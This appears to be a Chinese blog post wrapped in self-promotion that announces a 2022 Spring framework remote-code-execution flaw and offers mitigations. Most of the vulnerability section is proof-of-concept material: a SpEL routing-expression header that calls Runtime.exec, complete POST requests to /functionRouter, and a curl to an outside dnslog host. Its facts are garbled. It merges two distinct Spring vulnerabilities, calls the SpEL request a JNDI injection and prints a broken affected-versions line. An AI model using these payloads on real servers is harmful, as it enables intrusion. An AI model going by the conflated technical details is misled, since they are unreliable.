本博客日IP超过2000,PV 3000 左右,急需赞助商。
极客时间所有课程通过我的二维码购买后返现24元微信红包,请加博主新的微信号:xttblog2,之前的微信号好友位已满,备注:返现
受密码保护的文章请关注“业余草”公众号,回复关键字“0”获得密码
所有面试题(java、前端、数据库、springboot等)一网打尽,请关注文末小程序
腾讯云】1核2G5M轻量应用服务器50元首年,高性价比,助您轻松上云
上海最近疫情严重,建议大家减少外出,做好防护!
今天早上,一大早,微信群里就有人@我,说 Spring 出现新漏洞了。
于是我就上了 Spring 官网,以及 maven 仓库去查找相关信息。
目前国内对这个漏洞消息传播的比较少,外网疯传!
根据我查阅的资料得知,该漏洞为 2022 年 3 月 29 日被发现。
Spring 框架曝出 RCE 0day 漏洞。已经证实由于 SerializationUtils#deserialize 基于 Java 的序列化机制,可导致远程代码执行 (RCE),使用 JDK9 及以上版本皆有可能受到影响。
我们项目目前使用的是 JDK8,我本地暂时没有重现。
目前广东省网络安全应急响应中心连夜发布预警通知,考虑到Spring框架的广泛应用,该漏洞被评级为:危险。
漏洞描述
Spring 作为目前全球最受欢迎的 Java 轻量级开源框架,Spring 允许开发人员专注于业务逻辑,简化 Java 企业级应用的开发周期。
据我所知,目前国内的 Java 项目,几乎都使用 Spring 框架。
但在 Spring 框架的 JDK9 版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取 AccessLogValve 对象并诸如恶意字段值,从而触发 pipeline 机制并写入任意路径下的文件。
根据我查阅的资料得知,触发该漏洞需要满足两个基本条件:
- 使用 JDK9 及以上版本的 Spring 框架
- Spring 框架以及衍生的框架 spring-beans-*.jar 文件或者存在 CachedIntrospectionResults.class
漏洞影响范围
- JDK9 <= Spring Cloud Function
不确定自己 JDK 版本的可以执行java-version
命令可查看 JDK 版本。
java -version
java version "1.8.0_211"
Java(TM) SE Runtime Environment (build 1.8.0_211-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.211-b12, mixed mode)
漏洞 POC
截止我发稿时间,该漏洞的 RCE EXP POC 的阅读量已经达到了 1700491。
漏洞测试关键代码:
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a calculator.app")
完整 POC 案例代码使用如下:
wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zipunzip v3.1.6.zipcd spring-cloud-function-3.1.6cd spring-cloud-function-samples/function-sample-pojomvn packagejava -jar ./target/function-sample-pojo-2.0.0.RELEASE.jar
然后执行下面的命令,获取可以请求的执行 path 路径。
find . -name "*.java"|xargs -I % cat %|grep -Eo '"([^" \.\/=>\|,:\}\+\)'"'"']{8,})"'|sort -u|sed 's/"//g'
输出内容可能如下:
...
functionRouter
uppercase
lowercase
...
然后发送请求。
Spring 框架 JNDI 注入漏洞 POC 案例:
POST /functionRouter HTTP/1.1host:127.0.0.1:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15Connection: closespring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a /System/Applications/Calculator.app")Content-Length: 5
成功调用起了计算器 app。
下面我们再看另外一个 POC 案例:
POST /functionRouter HTTP/1.1host:127.0.0.1:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15Connection: closespring.cloud.function.routing-expression:T(java.net.InetAddress).getByName("baidu.com")Content-Length: 5
类似下面的效果:
curl -v 'https://51pwn.com/dnslog?q=baidu.com'
漏洞修复方案
漏洞修复方案1:WAF 临时策略
在 WAF 等网络防护设备上,根据实际部署业务的流量情况,实现对:
“class.*”,“Class.*”,“*.class.*”,“*.Class.*”
等字符串的规则过滤,并在部署过滤规则后,对业务允许情况进行测试,避免产生额外影响。
临时方案2:临时缓解措施
在应用系统的项目包下新建以下全局类,并保证这个类被 Spring 加载到(推荐在 Controller 所在的包中添加)。完成类添加后,需对项目进行重新编译打包和功能验证测试。并重新发布项目。
import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;
@ControllerAdvice
@Order(10000)
public class Xttblog{
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] claArr = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(claArr);
}
}
如需本文中的漏洞测试工具可以到https://portswigger.net/burp/releases
进行下载!
最后,欢迎关注我的个人微信公众号:业余草(yyucao)!可加作者微信号:xttblog2。备注:“1”,添加博主微信拉你进微信群。备注错误不会同意好友申请。再次感谢您的关注!后续有精彩内容会第一时间发给您!原创文章投稿请发送至532009913@qq.com邮箱。商务合作也可添加作者微信进行联系!
本文原文出处:业余草: » Spring框架被爆RCE 0day高危漏洞!附修复教程!